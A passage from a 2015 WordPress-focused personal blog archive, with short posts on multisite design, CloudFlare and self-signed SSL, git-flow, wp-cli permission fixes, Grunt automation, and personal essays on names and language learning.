> I have a site for my business that has multiple physical locations that have online booking for each location. Right now we basically have separate websites that look very similar for each location (except for some content) with separate domains \[URLs redacted\]. Is this what you meant by homogenous websites? If WPMU ins’t a good option, can you steer me in the right direction for how you would design this type of site?
Yes. That’s pretty much exactly what I mean when I call a site “homogenous.”
You can’t see it, but each URL I removed had identical design. Same layout, pretty much the same splash page.
When I talk about ‘sameness’ with websites, I really do mean exactly this. Each site on the network has the same information, the same about page, and actually pretty much the same everything except for the booking page.
Right now, each site has a `locationdomain.com/book-now` URL. Without looking at the code, I’m going to guess that the book-now pages are inserts. Either templates or shortcodes, but something that doesn’t *need* to be on the domain URL to be unique. Just some content in the page.
And I would have `maindomain.com/book-location` Or better still `maindomain.com/location/LOCATION/book`
That second example looks weird, I know. You see, I’d do it with Custom Post Types for each location. My CPTs would be pages and their slug would be `/location/`. Then each page would be LOCATION, giving me URL formats like `/location/lexington/` and so on.
My thought process is that if the majority of the content of each site is the same, and the design of all sites are the same, then I don’t need a multisite *unless* there’s a specific need to silo data.
There are very few cases, in a homogenous network, where you need to silo data. Exceptions are pretty much all based on legal requirements.
And if you have a song in your head, here it is:
**Categories:** How To
**Tags:** multisite, open source, wordpress
---
### [Hello, Mike](https://halfelf.org/2015/hello-mike/)
**Published:** April 20, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Gender bias based on names, even when the name ends in A?
**Content:**
There’s an interesting thing when people think I’m Mike. Or perhaps it’s interesting *when* people think my name is Mike.
My name is four letters. Three are the same as Mike. The last is an A, however. The best guess I’ve ever been able to make has been that people read ‘MIK…’ and their brains absolutely stop. This has been a problem my entire life, in and out of tech support, from school to work to everything in between. I was called ‘Mike’ at my SATs, much to the hilarity of my classmates.
But I rarely correct people these days, certainly not when I’m online, because it’s one of those things that really only matters if we meet in person. In person, I will correct you. “Actually it’s Mika. With an A.” I’ll always be polite when you ask me how to pronounce it. The first time. The second and third time get you teased. At four or five, there will be serious remarks. At seven, I start intentionally mispronouncing your name.
Since most of my communication, even with my own coworkers, is online, and since there’s a fellow named Micah (pronounced the other way), I really give people a pass with mucking up my name. It happens and if it’s not intentional or obstinance, I don’t mind.
At the same time, I like to keep track of places where I’m more often called Mike. I try to make sense of the madness just to understand the world a little more. While all of this is anecdotal, and while I did make a scratch sheet where I tallied these things over the course of 4 months, this is not some government funded study. The numbers are also off if I’ve been talking to people from countries where Mika is a normal name, and moreso in Japan, where it’s a girl’s name.
## When am I Mika or Mike?
So here’s the non-scientific notes I’ve boiled things down to:
### I’m Mike…
- If I do technical things really, really well
- When I talk code/development
- When I talk about my wife
- When someone is incredibly upset for whatever reason
### I have no name…
- When I do technical things really wrong
- When I disagree with developers
- When I apologize to people
### I’m Mika …
- When someone realizes they’ve been wildly out of line and apologizes to me
- When someone has been really personable and polite the whole time
- When I talk to someone who consistently uses proper grammar and punctuation
## What Does This Tell Me?
It’s important to note that the ‘technical’ things I do well or not don’t actually have to be correct. Many times I do the code things really well and they just disagree. But if I’m perceived to be correct, I’m generally a Mike.
When people are angry they tend to stop reading well, the comprehension goes out the door. That lends some credence to my theory that people’s brains stop. Strangely, though, when I get things really, really, wrong (or am perceived to do so), the use of any name in their replies plummets. Like I found three in a year. It’s possible that those people, still being angry, are reading my name as ‘Mike’ but cannot find it in themselves to be angry at a male name in the manner they’re about to be.
As for me talking about my wife, that’s just heteronormativity in action, and for the matter of this study I ignored it. It skewed results. It’s the same with folks who are from Scandinavia, where Mika is a boy’s name.
## My Conclusion?
People still often default to thinking everyone’s male.
I too have this flaw, I admit. But seeing it in others and how it impacts me certainly makes me think about it more.
**Categories:** How It Is
**Tags:** essay, support
---
### [Learn Another Language](https://halfelf.org/2015/learn-another-language/)
**Published:** April 15, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Je m'appele Ipstenu. Je viens des Etats-Unis.
**Content:**
At WordCamp San Diego, someone asked how he, as the only English support tech, could help his coworkers learn English. I gave an answer (watch sitcoms with closed captioning on and try some software) but then I took the opportunity to remind everyone that was a native English speaker to learn a second language.
Many people have thanked me for saying that publicly since then. For those who missed it, here are my thoughts on why and how we should do this.
## Learn Perspective
All the BS about opening your neural pathways aside, it’s a good idea to learn another language. I picked French because my mother, father, and step-mother speak it. It’s one of the most commonly spoken languages, it’s useful in most of Europe. But more than just being able to communicate more with family, learning French puts communication in perspective.
As I learned at [WordCamp Tokyo](https://halfelf.org/2014/working-with-a-translator/ "Working With A Translator"), I need to phrase myself clearly and simply when I’m speaking via a translator, or with someone who does not speak English natively. Learning French is also giving me a great deal of sympathy for the people who get emails from me about Plugins. Here I *have* to talk about things in technical terms for which there are no decent simpler terms. When I connect that I’m talking to someone who’s ESL, I change how I explain things to try and make it easier to understand.
## Learn For Fun
I sometimes set my phone to French. I watch movies in French (with subtitles). I read comics in French. Doing those things, forcing immersian for fun, makes me think harder and process. My phone in French lasted a brief moment before I realized I didn’t know how to ask what the weather was («Quel temps fait-il»). Having to both ask and listen to Siri in French showed me where the major gaps were in my skills. I have trouble thinking in French. It’s been a couple years since I studied it, though, and I only started studying again in earnest in February.
## Learn With Software
We’re techs. I use [Duolingo](https://www.duolingo.com/) which is free and lets me ‘play’ in French on my iPad. I take breaks, I sit on the couch and give it 10 minutes of my brain, and I struggle with one stupid section.
[See? I’m learning French!](https://www.duolingo.com/ipstenu)
I’m not very good, but it lets me keep trying. And I can use my iPhone, iPad, or browser. I can see where I suck and where I’m great. I can go back and take a test over again all I want, and no one cares but me.
Having also used [Rosetta Stone](http://www.rosettastone.com/), I find this far less frustrating. Also did you know on the Mac keyboard you can hold down a letter to find the version with accent marks?
[](https://halfelf.org/wp-content/uploads/sites/2/2015/04/pickyourmark.png)
Cool, right?
## Learn The Point
English isn’t the majority language.
WordPress (and many other CMS tools) are pushing Internationalization.
> Internationalization will be a big focus of the coming year, including fully-localized plugin and theme directories on language sites and embedded on dashboard in version 4.1, which is coming out December 10th.
> — Matt Mullenweg: [State of the Word 2014](http://ma.tt/2014/10/sotw-2014/)
Simply put, if you’re not getting yourself ready now, you’ll regret it later. Pick a language. You won’t get better until you start.
**Categories:** How It Is
**Tags:** essay, support
---
### [Mailbag: A Case Against (Part Of) Jetpack](https://halfelf.org/2015/mailbag-case-part-jetpack/)
**Published:** April 17, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Someone noticed I'm not eating my own dogfood. There's a reason.
**Content:**
> You told me to try Photon, but I noticed you’re not using it on all your sites. What gives?
When people ask me how to speed up their sites for images, I often recommend Jetpack for the CDN boost. It’s a double edged sword, though. While Photon does two things amazingly well (resize images and put them up on a CDN), it’s hosted on wp.com which means I can’t use it.
What? Why not? No, it’s not that I have something against wordpress.com, it’s that *other* people do. Like China, Pakistan, and Turkey.
The list is probably longer. But those places, among others, block WordPress.com which means every module of Jetpack that phones home (stats, photon, tiled galleries, LaTeX, related posts, etc) cannot be active on my sites that have a large enough user-base in those places. When I leave those Jetpack features on, the site grinds to a halt for them, which is a terrible experience for my (often non-technical users).
Now that said, I do still use the stats plugins on all my sites with Jetpack. It’s a pretty safe loader to run, and it doesn’t slow the site down terribly (see [Issue #566](https://github.com/Automattic/jetpack/issues/566) for the code magic). Photon on the other hand I had to disable entirely because my poor users in China were complaining they could see nothing. I can live with a little delay for loading. I can’t live with an image heavy site not working.
So should you use Photon? Yes! Unless your visitors are blocked by WordPress.com.
**Categories:** How It Is
**Tags:** freedom, plugins, wordpress
---
### [CloudFlare's SSL](https://halfelf.org/2015/cloudflare-ssl/)
**Published:** March 25, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Follow the SSL chain with CloudFlare and a certificate.
**Content:**
CloudFlare’s been pushing SSL for a while as a new feature. We all know that SSL is a great idea, that any time you have someone logging in, it should be secure. If you’re handling money, it should be secure. If you’re taking any personal information, for god’s sack (sic), make it secure!
A major problem with this has often been the cost overhead. You can self-sign your certificates, but that pops up with other errors for people. Really what we want is a simple, non-super-expensive, way to have security where and when we need it. Until [Let’s Encrypt](https://letsencrypt.org) gets its kick off later this year (and probably for another year after that), it’s complicated and expensive to set up shared hosts with certificates, even if you use SNI.
Enter CloudFlare and their bold proclamation that they’re going to provide [free One-Click SSL](https://www.cloudflare.com/ssl) for everyone, even their free-plan users. This is great! Except that it doesn’t work *quite* right.
First off, if you use the flexible SSL plan, the one that doesn’t change your URL to HTTPS, then you need to use a plugin line [CloudFlare Flexible SSL](https://wordpress.org/plugins/cloudflare-flexible-ssl/). Or you can just toss this into your wp-config.php:
```
#SSL
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') {
$_SERVER['HTTPS']='on';
} else {
$_SERVER['HTTPS'] = false;
}
```
Secondly, if you’re not actually changing the URL to SSL, you’ve got a problem. I don’t want my users to hit https all the time, not for all my sites. And all the reasons we don’t use https everywhere aside, it’s something to keep my running costs down.
My rule is that SSL should be used anywhere where you are transmitting information that should **not** be public, and this suddenly was an issue when I looked at the levels of security. The one I’d want would be Full SSL, as it “Encrypts the connection between your site visitors and CloudFlare, and from CloudFlare to your server.”
And there are two types of Full SSL, one of which is ‘Strict’ and requires you to have your own SSL cert, be it purchased or self-signed.

The obvious implications here, however, are that everyone would see HTTPS in the URL, and I don’t really want that. Of course, that’s not what they meant. What they *mean* is that **IF** you use https in the domain, then CloudFlare double encrypts. Otherwise it remains http for the domain.
So basically normal SSL. And this is what I want, because I do have a purchased SSL cert for the domain in question and I do want to be secure all down the line. If I was using a self-signed certificate, I’d use the Full SSL (not strict) and that would work as well.
One important thing to keep in mind is that if you chose to use the Flexible SSL, you’re *not* giving yourself login protection! As they point out, this gives you an encrypted connection between your site visitors and CloudFlare, but **not** from CloudFlare to your server. This greatly reduces the possibility of being sniped or sniffed, but the content from CF to use isn’t secured, which means if you use Flexible SSL for your store, you’re a moron.
With that in mind, what good is it? Well you can be promised security throughput for your domain, and that, if you’re using CloudFlare, is a great thing.
**Categories:** How It Works
**Tags:** cloudflare, security, ssl
---
### [Git Flow](https://halfelf.org/2015/git-flow/)
**Published:** April 6, 2015
**Author:** Ipstenu (Mika Epstein)
**Content:**
Late as always to these git things.
In the ever increasing madness to the method of making code easier to do, we come to the automation of `git-flow`. This is a library of git subcommands that helps automate some parts of the flow to make working with it a lot easier if you’re using [Vincent Driessen’s model](http://nvie.com/posts/a-successful-git-branching-model/).
This model is not bad, if a little confusing at first:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/03/git-model@2x.png)
[Jeff Kreeftmeijer](http://jeffkreeftmeijer.com/2010/why-arent-you-using-git-flow/) already has a good primer for it so these are just my quick notes to add in things that should have been obvious. The basic concept for the model is that you have two main branches, master (the ‘current’ version) and develop (where you’re working on the next version).
## Install git-flow
You have to install it to use it. I use Homebrew so it was `brew install git-flow` and that was that.
## Add it to your repo
Again, you have to add it to have it. `git flow init` is run inside the repo and you’re good, except you may not be.
Since I’m starting from an existing repository, which was up to date in master, I made a new branch: `git checkout -b develop`
Then I ran `git flow init` which is not the same as it would be on a new repo:
```
$ git flow init
Which branch should be used for bringing forth production releases?
- REL_3.3
- REL_3.3.1
- REL_3.3.2
- master
Branch name for production releases: [master] master
Which branch should be used for integration of the "next release"?
- REL_3.3
- REL_3.3.1
- REL_3.3.2
Branch name for "next release" development: [master] develop
How to name your supporting branch prefixes?
Feature branches? [feature/]
Release branches? [release/]
Hotfix branches? [hotfix/]
Support branches? [support/]
Version tag prefix? [] REL_
```
Should you happen to do as everyone says and ‘accept the defaults’ you get this:
```
Branch name for "next release" development: [master]
Production and integration branches should differ.
```
Also if you don’t have a develop branch, it punts you out.
```
Branch name for "next release" development: [master] develop
Local branch 'develop' does not exist.
```
So a couple ooops along the way. It’s not
## Using A Feature
First you make a feature:
```
$ git flow feature start utility_1.0.3
Switched to a new branch 'feature/utility_1.0.3'
Summary of actions:
- A new branch 'feature/utility_1.0.3' was created, based on 'develop'
- You are now on branch 'feature/utility_1.0.3'
Now, start committing on your feature. When done, use:
git flow feature finish utility_1.0.3
```
Eventually you’ll be done and use that finish command, which merges it all back into ‘develop’ and changes you back to that branch. Which is good for reasons we get to in a moment. Since I work on multiple computers, I do this at the end of my workday:
```
$ git push --all
Total 0 (delta 0), reused 0 (delta 0)
To ipstenu@example.com:/home/ipstenu/repositories/theme-wordpress.git
* [new branch] develop -> develop
* [new branch] feature/utility_1.0.3 -> feature/utility_1.0.3
```
So now when I do my pull later on the other computer, it’ll be easily usable. Provided I remember to install git-flow and init it on my other laptop. But it’s a little more complicated than just that.
## Releasing a Release
You can only run this from the develop branch, which makes the previous command pretty awesome, right? So now we’ll do this: `git flow release start RELEASE`
Once we’re good to go, it’s `git flow release finish RELEASE`
## What About Two People?
This is where we want to use publishing. Technically I’m collaborating with myself across two computers, so I always publish my feature to my remote server so it can be used by my other self: `git flow feature publish MYFEATURE`
To pull the feature down, `git flow feature pull origin MYFEATURE` is just as logical. And that’s actually how I handled pulling the feature utility\_1.0.3 onto my work laptop.
```
$ git checkout master
Switched to branch 'master'
Your branch is up-to-date with 'origin/master'.
$ git branch develop
$ git flow init
[snip .. same as before]
$ git flow feature pull origin utility_1.0.3
Created local branch feature/utility_1.0.3 based on origin's feature/utility_1.0.3.
```
There’s a good cheat sheet for help about this called [Git Flow Cheatsheet](http://danielkummer.github.io/git-flow-cheatsheet/).
Now there’s nothing but to do it.
**Categories:** How To
**Tags:** coding, development, git
---
### [Mailbag: Self-Signed SSL](https://halfelf.org/2015/self-signed-ssl/)
**Published:** April 10, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A self-signed certificate made for a drama filled day.
**Content:**
This was actually a tweet, not an email, and I’ll get to it later on in the post.
Essentially, a weird thing happened.
I’ve been setting up SSL for admin’ing my sites (because you should) and using a mix of [Comodo SSL via Namecheap](http://www.namecheap.com/?aff=32035) and [StartSSL](https://www.startssl.com/) depending on the domain. But I also set up some Self-Signed SSL certs for other domains. In particular, this one.
Now. SSL certificates provide encryption **between** the two ends using the certificate. That’s all. They’ve never been able to verify who the two ends are, and all a paid-cert does is say “And I paid these guys to prove who I am” so now you’re ‘trusting’ three people. Maybe. The point is that there’s *nothing* wrong with a self-signed SSL certificate in specific situations.
If you’re messing with money or personal identification, you need to use a signed certificate. This isn’t even an option. But halfelf.org doesn’t do that and I really just wanted an SSL cert for a secure connection to my wp-admin dashboard. No big, right? So I did that, posted a new article the next day, and my buddy Mike said:
> hey there, clicking on the article title from the email notification tries to force https:// and throws privacy error warning
What the what?
For some reason, the setup I had that works perfectly fine, no errors on ipstenu.org wasn’t working on halfelf.org, and the only difference was that self-signed certificate. Apparently the emails sent by Jetpack grabbed the https URL and while the server *was* set to redirect to http, users still got that moment of “Hey, this isn’t a *real* certificate.”
I know that a self-signed certificate means there’s no chain of trust, but it’s quite annoying that Google Chrome and other browsers flip out when you’ve done it. If it was just a warning “Hey, this site is secure but we can’t verify it…” that would be one thing. But what Chrome does is slap up a big fat warning and stop users, making it a double click through to get to the page, which forces them back to http anyway. Visitors may not trust my site to be safe, but frankly, that site wasn’t really meant to be ‘safe’ anyway. It’s safe on the back end for me. Not you.
It’s a complicated mess, and I can’t wait for [Let’s Encrypt](https://letsencrypt.org/) to take off. I’ll be installing that on my server ASAFP because the ability to self-sign *without* making browsers flip out.
To fix it for now, I turned off SSL over admin (which literally was all I’d done for WP) and picked up a legit certificate. But it’s rather stupid that the email sent from Jetpack decided it was meant to be https when it wasn’t, and that my site that forced http over https for non-logged in users wasn’t ‘enough to convince the browser they were in the wrong place.
**Categories:** How It Is
**Tags:** essay, mailbag, security
---
### [Mailbag: Facebook Page Notifications](https://halfelf.org/2015/facebook-page-notifications/)
**Published:** April 3, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Facebook's MySpace takeover only worked because MySpace imploded.
**Content:**
A family member, after teasing me for not knowing someone was married because the *only* place they announced was on Facebook (and Shredder? You’re not off the hook either), finally asked:
> Why do you still hate facebook?
Because the interface is inconsistent and sucks. Let me explain by showing you about my Page Notifications.
I still use Facebook under duress and happily go weeks without noticing I have alerts waiting. When I do remember to check in, this is usually my first clue I have that there are unread notifications:

If I click on the group, the toolbar at the top of the page gives me a much better idea of what’s going on:

So I logically click and I get this:

I don’t like that I have to click three times just to see my notifications. Yes, I can click on that teeny-tiny number to go to the page properly and wipe them, but what if I don’t want to? Also have you noticed how *small* the number is? It’s hard to hit if you’re not ‘great’ with your mouse. Guess what I’m not? Great with my mouse. I like larger icons because they’re easier for me to tap. I’m not the only one.
The next problem is the text color. It’s not really all that distinct. It changes to a useful red/orange on other pages, but the subtle grey on blue grey, combined with the size, makes it weird. Compare it to the alerts you get for unread posts in your timestream, or personal notifications:

Clearly their goal is to keep me on that front page (which is obviously why they swap my ‘recent posts’ to ‘top posts’ every chance they get). But even then, once you click on the item, the number goes away but the items *are not* marked as read. You still have the mark-as-read buttons, which are not very noticeable or distinct. In the case of a page, the number count on the sidebar goes away, but not the one on your toolbar or the notifications page. Welcome aboard the inconsistency train, thy name is Facebook.
Interestingly, this day when I clicked on the “Mark as Read” link, the number dropped from 20 to 1. But there was nothing else to mark as read. All the backgrounds went from pale blue to white, and there was no other indication as to how I might find what was unread.
Eventually I saw the sidebar:

There it was. I hovered over it, clicked ‘Mark As Read’ and that number went away. I had to refresh the page to make the orange alert go away, because apparently that level of Ajax is hard.
My conclusion is pretty simple. Facebook wants me on the main page of their site, my timeline, all the time, and that’s fine for a user. But in doing so, they’ve made administration of their pages and groups overly complex and inconsistent with the rest of the flow of their site. They want me to add in content, but they’re going to decide how I, and others, consume it, which means my ability to easily input and manage is secondary (or even tertiary) to their consumer design.
The pages and groups are a nice idea, but still ill planned for a ‘MySpace’ replacement. The only reason that even worked was because MySpace blew up on itself.
**Categories:** How It Is
**Tags:** design, essay, facebook, ux
---
### [Mailbag: SNI Incompatibility?](https://halfelf.org/2015/mailbag-sni-incompatibility/)
**Published:** March 27, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Nope. Not worried at all.
**Content:**
Kim asks:
> You wrote [an article which does a great job of explaining a number of things](https://halfelf.org/2014/ssl-for-one-domain-on-multisite/). My only question (comments appear to be closed so I could not post there) is the SNI – do you find that there are many people using browsers that are old enough that the SNI creates a problem? I have looked over the list of incompatibles and it does not seem to be that much of a risk, but I thought you might have more concrete information since you’ve been using the setup.
This relates to how I set up my SSL certificates, which is to use Server Name Indications and have multiple certs on one server with one IP. And the question is “Do we care about the old browsers?”
Let me quote my coworker.
> IE8 is EOL, XP is EOL. We can’t support things forever.
XP makes up most of the sites that have issue with SNI so I’ve only found 0.006% of my visitors impacted.
Yes, I did that math properly. I checked it a couple times.
No. I’m not worried about SNI and I don’t care. We can’t support old things forever.
**Categories:** How It Is
**Tags:** mailbag, servers, ssl
---
### [Mailbag: Debugging the Dread "No Permissions"](https://halfelf.org/2015/debugging-dread-permissions/)
**Published:** March 20, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Debugging a site where you've lost all access to anything once logged in.
**Content:**
Sometimes customers hunt me up here. That’s okay. I’d *rather* you opened a ticket since I like to eat, sleep, and hang out with my wife, but in this case they also had an interesting problem.
> When I log in, I get “You do not have sufficient permissions to access this page.”
I found the support ticket and solved it, and then I mailed the DreamPress Ninja’s with this methodology. It relies on wp-cli, so bear with me.
The first thing to do is check the user list:
```
user@server:~/example.com$ wp user list
+----+-----------------+--------------------------------+-----------------------------+---------------------+---------------+
| ID | user_login | display_name | user_email | user_registered | roles |
+----+-----------------+--------------------------------+-----------------------------+---------------------+---------------+
| 2 | bobby | Bobby Done Nightly | bobby@example.com | 2014-02-12 17:44:28 | administrator |
| 3 | darren | Darren Done Rightly | darren@example.com | 2014-09-29 17:49:11 | contributor |
| 4 | ethan | Ethan Done Wrongly | ethan@example.com | 2014-10-27 21:01:07 | subscriber |
| 5 | jimmybear | Jimmy Eaten By A Bear | jimmy@example.com | 2013-12-16 14:45:18 | author |
| 1 | iamempty | Admin Account | admin@example.com | 2015-03-05 01:30:09 | |
| 6 | sonnyboy | Sonny Boyd | sonny@example.com | 2014-10-27 22:13:08 | contributor |
+----+-----------------+--------------------------------+-----------------------------+---------------------+---------------+
```
Notice how imaginet has NO role? That’s the problem. So let’s give it a role!
```
user@server:~/example.com$ wp user add-role 1 administrator
Success: Added 'administrator' role for imaginet (1).
```
Check again and all is happy!
```
user@server:~/example.com$ wp user list
+----+-----------------+--------------------------------+-----------------------------+---------------------+---------------+
| ID | user_login | display_name | user_email | user_registered | roles |
+----+-----------------+--------------------------------+-----------------------------+---------------------+---------------+
| 2 | bobby | Bobby Done Nightly | bobby@example.com | 2014-02-12 17:44:28 | administrator |
| 3 | darren | Darren Done Rightly | darren@example.com | 2014-09-29 17:49:11 | contributor |
| 4 | ethan | Ethan Done Wrongly | ethan@example.com | 2014-10-27 21:01:07 | subscriber |
| 5 | jimmybear | Jimmy Eaten By A Bear | jimmy@example.com | 2013-12-16 14:45:18 | author |
| 1 | iamempty | Admin Account | admin@example.com | 2015-03-05 01:30:09 | administrator |
| 6 | sonnyboy | Sonny Boyd | sonny@example.com | 2014-10-27 22:13:08 | contributor |
+----+-----------------+--------------------------------+-----------------------------+---------------------+---------------+
```
If the roles had be totally empty, it’s a case where the database is looking for the ‘wrong’ table prefix and that’s a little messier. There, you’ll want to grab the table prefix from the `wp-config.php` file:
```
$table_prefix = 'wp_hsy671e_';
```
Then go into the database and look at `wp_hsy671e_options` for a field called `wp_hsy671e_user_roles` – if you don’t see one, that’s the problem. Check for one named `wp_user_roles` and rename it.
If you DO see the right user\_roles, then the problem is all the users are pointing to the wrong table. You can just run `wp search-replace wp_user_roles wp_hsy671e_user_roles` to force it back.
**Categories:** How To
**Tags:** database, troubleshooting, wordpress
---
### [The Ebb and Flow of Automation](https://halfelf.org/2015/ebb-flow-automation/)
**Published:** March 16, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I growled, I groaned, but finally I grunted.
**Content:**
Repetitive tasks suck. Let’s be honest here, we hate doing them most of the time. But also we’ll forget things and mess up our day. With code that’s pretty terrible.
Over time, I’ve managed to automate a lot of things. WordPress upgrades itself, including plugins and themes. My code changes [are auto-deployed via Git](https://halfelf.org/2014/git-master-race/ "Git The Master Race") when I update them. I use a cool Coda plugin to [automatically generate css from multiple files](https://github.com/keegnotrub/coda-sass-plugin).
I’ve now added [Grunt](http://gruntjs.com/) to the mix. Grunt runs tasks for you so you can be lazy (efficient) but it’s not perfect. One of the things I love about my other tools is I don’t have to think about them. WordPress takes care of itself, git has hooks to know what it’s doing, and Coda monitors my files. I don’t have that for Grunt.
What you have, instead, is ‘grunt watch’ which is great but it only runs while you’ve told it to watch. You have to remember to activate it every time. And I understand why. Watching is a rather expensive (computer wise) tool. But it annoys me because I already struggle to remember that the way a tool I use works, I have to run this to checkout the code: `git checkout [tag_name] -b [my_branch_name]` (which for some reason my brain thinks is ‘better’ than scripting a zip).
So why would I use Grunt?
On a site I run, I have a folder filled with scripts that are used on four separate CMS tools. One is WordPress. I’m often adding new scripts and I like to have the scripts separate because that’s easier for me. But that also means I have to edit all my CMS to add in the new JS. But with Grunt I don’t.
Instead, I have one simple Grunt file that says “Any js file in /content/code/js/dev/ should be combined into one mondo js file and then uglified to compress it down.”
## Installing Grunt
I didn’t have Node installed, but [I do use homebrew](https://halfelf.org/2014/its-not-beer-its-homebrew/ "It’s Not Beer It’s Homebrew"), so this was it for me:
```
brew install node
npm install -g grunt-cli
```
Okay. Now what?
### My First Project
I knew I wanted to make a folder in my /content/ folder for this, so I made `/content/project/`. In that folder I ran the command `npm init` and answered the questions to generate my `package.json` file. That was the easy part actually. After that had to decide what I wanted to do.
1. Concatenate (combine) all my JS files into one.
2. Compress those files to make them minified.
3. Watch the files while I was working on them and automate that.
In order to do that, I need to install three grunt ‘plugins’: concat, uglify, and watch:
```
npm install grunt-contrib-concat --save-dev
npm install grunt-contrib-uglify --save-dev
npm install grunt-contrib-watch --save-dev
```
Doing it that way, with the save dev call, automatically adds it to my package.json file so it knows to call that.
Next I had to make a filed called `Grunfile.js` and put my actual code in it. I’ve got a copy of the file below but you can break it up into some pretty basic sections. Here’s a sample file:
```
module.exports = function(grunt) {
grunt.loadNpmTasks('grunt-contrib-uglify');
grunt.initConfig({
pkg: grunt.file.readJSON('package.json')
uglify: { ... }
});
grunt.registerTask('default', [] );
};
```
The first call is to load the npm (node) tasks, which means I’m telling it ‘include these plugins’.
The second call is my init command which runs when the ‘grunt’ command is used. In there I’ll put the name of my json file, where I’ve defined all my dependancies (not all get loaded by the Grunt file you see) and then I’ll make a ‘case’ for my code. That’s what the `uglify: { ... }` bit is.
The last is registering the default tasks. At this point, if I want to do anything I would have to type `grunt uglify` to do anything, so what you can do instead is make it this:
```
grunt.registerTask('default', ['uglify'] );
```
Now when I run ‘grunt’ it will automagically uglify. If you have multiple steps, put them in order of what you want to happen, and off you go.
At this point, I’m now a GruntJS rookie, but I can see why it’s amazing. One can use this in plugin development to make it easier to mush up all your code into something smaller to load.
## My Scripts
For those wondering, here are my scripts:
### package.json
```
{
"name": "jfo-content",
"version": "1.0.0",
"description": "JFO Content Scripts",
"main": "Gruntfile.js",
"dependencies": {
"grunt": "^0.4.5",
"grunt-contrib-uglify": "^0.7.0"
},
"devDependencies": {
"grunt-contrib-concat": "^0.5.0",
"grunt-contrib-uglify": "^0.7.0",
"grunt-contrib-watch": "^0.6.1"
},
"author": "Mika Epstein ",
"license": "WTF"
}
```
### Gruntfile.js
```
module.exports = function(grunt) {
grunt.loadNpmTasks('grunt-contrib-uglify');
grunt.loadNpmTasks('grunt-contrib-concat');
grunt.loadNpmTasks('grunt-contrib-watch');
grunt.initConfig({
pkg: grunt.file.readJSON('package.json'),
concat: {
dist: {
src: '../code/js/dev/*.js',
dest: '../code/js/content.js',
},
},
uglify: {
build: {
src: '../code/js/content.js',
dest: '../code/js/content.min.js',
}
},
watch: {
scripts: {
files: '../code/js/dev/*.js',
tasks: ['concat', 'uglify'],
}
}
});
grunt.registerTask('default', ['concat','uglify'] );
};
```
### post\_update (git)
I added in a line here to delete the package folder from my live site. That’s where all my Grunt stuff lives and I really don’t need it. It also nukes the dev folder. Sometimes. In some cases I leave that alone, since it’s not like I’m worried about space.
```
#!/bin/sh
export GIT_WORK_TREE=~/public_html/content/
git checkout -f master
rm -rf ~/public_html/content/package/
rm -rf ~/public_html/content/code/js/dev/
```
**Categories:** How To
**Tags:** coding, development, website
---
### [Mailbag: What Code Makes You Sigh?](https://halfelf.org/2015/mailbag-code-sigh/)
**Published:** March 6, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Code that makes me sigh isn't bad code or wrong code all the time. It's just ... code.
**Content:**
When I was talking about ThemeForest, I mentioned we had code on WordPress.org that made me sigh. Or cry depending on the day.
Here it is:
```
if (!defined('WP_CONTENT_URL')) define('WP_CONTENT_URL', get_option('siteurl').'/wp-content');
if (!defined('WP_CONTENT_DIR')) define('WP_CONTENT_DIR', ABSPATH.'wp-content');
if (!defined('WP_PLUGIN_URL')) define('WP_PLUGIN_URL', WP_CONTENT_URL.'/plugins');
if (!defined('WP_PLUGIN_DIR')) define('WP_PLUGIN_DIR', WP_CONTENT_DIR.'/plugins');
```
Why do I sigh?
It’s not needed.
You can use [functions to determine those directories](http://codex.wordpress.org/Determining_Plugin_and_Content_Directories) and while I’m sure someone’s thinking “But `WP_PLUGIN_DIR` is shorter than `plugins_url()`!” it’s not.
That code block above was used so that *one line* of code could exist.
```
include(WP_PLUGIN_DIR.'/PLUGINNAME/settings.php');
```
Those four lines, plus the include, could be replaced with this:
```
include( plugins_url( 'settings.php' , __FILE__ ) );
```
So yes, I sigh. Because with just a little work, you could see that there’s a more efficient way to make your plugin smaller.
**Categories:** How It Is
**Tags:** coding, mailbag, plugins, wordpress
---
### [Mailbag: Learning Resources](https://halfelf.org/2015/mailbag-learning-resources/)
**Published:** March 13, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** My number one resource? Searching.
**Content:**
Ann asked about books:
> \[..\] if you’re open to throwing a few key book recommendations – sites – blogs – whatever resources that you use/have used and particularly liked – I would be grateful. Essentially – I love your blog and am always looking to improve my WP developer skills. I want to get better. I want to be really really good. So I ask the greats if there’s something in particular that they think I should read – out of the huge sea of articles/books/blogs/etc out there. Something that they’ve singled out and thought was really worth paying attention to. And then I read it! \[..\]
She got an email reply right away, but here’s for everyone else.
The best advice I have is to pick something you like (or that drives you absolutely up the wall) and poke at it.
I got started and good because I really, really, really, wanted to do something that (at the time) WP didn’t do. After banging my head a lot, I started googling and trying to figure out what was there to use. I looked at a lot of code that was ALMOST what I wanted. And I broke my test site. A looooooooot.
The biggest problem is we all learn differently. I learn by doing, so for me the act of writing BAD code helps me understand it better. I hate videos.
But do I have a specific resource for learning? Sometimes I do. The majority of my ‘research’ remains search engines and constantly refining parameters, or trying to remember the name of the one thing with the thing. The problem is that I’m very haptic, I learn by doing things, so for me it’s way easier to take the examples and break them than anything else.
**Categories:** How It Is
**Tags:** essay, mailbag, wordpress
---
### [Why I (Still) SelfHost](https://halfelf.org/2015/still-selfhost/)
**Published:** February 25, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I know it when I see it, but does Google?
**Content:**
The other day I saw the notice that [Google was banning all explicit adult content from blogger](http://www.zdnet.com/article/google-bans-explicit-adult-content-from-blogger-blogs/).
Outside of the irony of remembering when the post’s author (Violet Blue) had her content [deleted from Boing Boing back in 2008](http://boingboing.net/2008/07/01/that-violet-blue-thi.html), she’s actually pretty uniquely qualified to talk about the difference between censorship and removal. For the record I think that it’s a pretty crappy thing to do and I don’t like it. But as I often say, my beliefs are pretty straight forward:
